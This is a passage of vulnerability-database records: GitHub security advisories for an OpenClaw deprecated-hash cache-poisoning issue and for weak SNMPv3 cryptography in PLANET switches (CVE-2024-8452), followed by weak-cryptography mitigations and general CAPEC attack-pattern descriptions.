Lab, by https://github.com/Tencent/AI-Infra-Guard) for reporting.",
"id": "GHSA-fh3f-q9qw-93j9",
"modified": "2026-03-06T01:04:59Z",
"published": "2026-02-19T19:41:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-fh3f-q9qw-93j9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28479"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/559c8d9930eebb5356506ff1a8cd3dbaec92be77"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/releases/tag/v2026.2.15"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-cache-poisoning-via-deprecated-sha-hash-in-sandbox-configuration"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw replaced a deprecated sandbox hash algorithm"
}
GHSA-FJ33-JFHM-3JMG
Vulnerability from github – Published: 2024-09-30 09:30 – Updated: 2024-09-30 09:30Certain switch models from PLANET Technology only support obsolete algorithms for authentication protocol and encryption protocol in the SNMPv3 service, allowing attackers to obtain plaintext SNMPv3 credentials potentially.
{
"affected": [],
"aliases": [
"CVE-2024-8452"
],
"database_specific": {
"cwe_ids": [
"CWE-327"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-30T07:15:04Z",
"severity": "HIGH"
},
"details": "Certain switch models from PLANET Technology only support obsolete algorithms for authentication protocol and encryption protocol in the SNMPv3 service, allowing attackers to obtain plaintext SNMPv3 credentials potentially.",
"id": "GHSA-fj33-jfhm-3jmg",
"modified": "2024-09-30T09:30:46Z",
"published": "2024-09-30T09:30:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8452"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/en/cp-139-8054-231ad-2.html"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/tw/cp-132-8053-274bd-1.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-24
Strategy: Libraries or Frameworks
- When there is a need to store or transmit sensitive data, use strong, up-to-date cryptographic algorithms to encrypt that data. Select a well-vetted algorithm that is currently considered to be strong by experts in the field, and use well-tested implementations. As with all cryptographic mechanisms, the source code should be available for analysis.
- For example, US government systems require FIPS 140-2 certification [REF-1192].
- Do not develop custom or private cryptographic algorithms. They will likely be exposed to attacks that are well-understood by cryptographers. Reverse engineering techniques are mature. If the algorithm can be compromised if attackers find out how it works, then it is especially weak.
- Periodically ensure that the cryptography has not become obsolete. Some older algorithms, once thought to require a billion years of computing time, can now be broken in days or hours. This includes MD4, MD5, SHA1, DES, and other algorithms that were once regarded as strong. [REF-267]
Mitigation MIT-52
Ensure that the design allows one cryptographic algorithm to be replaced with another in the next generation or version. Where possible, use wrappers to make the interfaces uniform. This will make it easier to upgrade to stronger algorithms. With hardware, design the product at the Intellectual Property (IP) level so that one cryptographic algorithm can be replaced with another in the next generation of the hardware product.
Mitigation
Carefully manage and protect cryptographic keys (see CWE-320). If the keys can be guessed or stolen, then the strength of the cryptography itself is irrelevant.
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Industry-standard implementations will save development time and may be more likely to avoid errors that can occur during implementation of cryptographic algorithms. Consider the ESAPI Encryption feature.
Mitigation MIT-25
When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.
CAPEC-20: Encryption Brute Forcing
An attacker, armed with the cipher text and the encryption algorithm used, performs an exhaustive (brute force) search on the key space to determine the key that decrypts the cipher text to obtain the plaintext.
CAPEC-459: Creating a Rogue Certification Authority Certificate
An adversary exploits a weakness resulting from using a hashing algorithm with weak collision resistance to generate certificate signing requests (CSR) that contain collision blocks in their "to be signed" parts. The adversary submits one CSR to be signed by a trusted certificate authority then uses the signed blob to make a second certificate appear signed by said certificate authority. Due to the hash collision, both certificates, though different, hash to the same value and so the signed blob works just as well in the second certificate. The net effect is that the adversary's second X.509 certificate, which the Certification Authority has never seen, is now signed and validated by that Certification Authority.
CAPEC-473: Signature Spoof
An attacker generates a message or datablock that causes the recipient to believe that the message or datablock was generated and cryptographically signed by an authoritative or reputable source, misleading a victim or victim operating system into performing malicious actions.
CAPEC-475: Signature Spoofing by Improper Validation
An adversary exploits a cryptographic weakness in the signature verification algorithm implementation to generate a valid signature without knowing the key.
CAPEC-608: Cryptanalysis of Cellular Encryption
The use of cryptanalytic techniques to derive cryptographic keys or otherwise effectively defeat cellular encryption to reveal traffic content. Some cellular encryption algorithms such as A5/1 and A5/2 (specified for GSM use) are known to be vulnerable to such attacks and commercial tools are available to execute these attacks and decrypt mobile phone conversations in real-time. Newer encryption algorithms in use by UMTS and LTE are stronger and currently believed to be less vulnerable to these types of attacks. Note, however, that an attacker with a Cellular Rogue Base Station can force the use of weak cellular encryption even by newer mobile devices.
CAPEC-614: Rooting SIM Cards
SIM cards are the de facto trust anchor of mobile devices worldwide. The cards protect the mobile identity of subscribers, associate devices with phone numbers, and increasingly store payment credentials, for example in NFC-enabled phones with mobile wallets. This attack leverages over-the-air (OTA) updates deployed via cryptographically-secured SMS messages to deliver executable code to the SIM. By cracking the DES key, an attacker can send properly signed binary SMS messages to a device, which are treated as Java applets and are executed on the SIM. These applets are allowed to send SMS, change voicemail numbers, and query the phone location, among many other predefined functions. These capabilities alone provide plenty of potential for abuse.
CAPEC-97: Cryptanalysis
Cryptanalysis is a process of finding weaknesses in cryptographic algorithms and using these weaknesses to decipher the ciphertext without knowing the secret key (instance deduction). Sometimes the weakness is not in the cryptographic algorithm itself, but rather in how it is applied that makes cryptanalysis successful. An attacker may have other goals as well, such as: Total Break (finding the secret key), Global Deduction (finding a functionally equivalent algorithm for encryption and decryption that does not require knowledge of the secret key), Information Deduction (gaining some information about plaintexts or ciphertexts that was not previously known) and Distinguishing Algorithm (the attacker has the ability to distinguish the output of the encryption (ciphertext) from a random permutation of bits).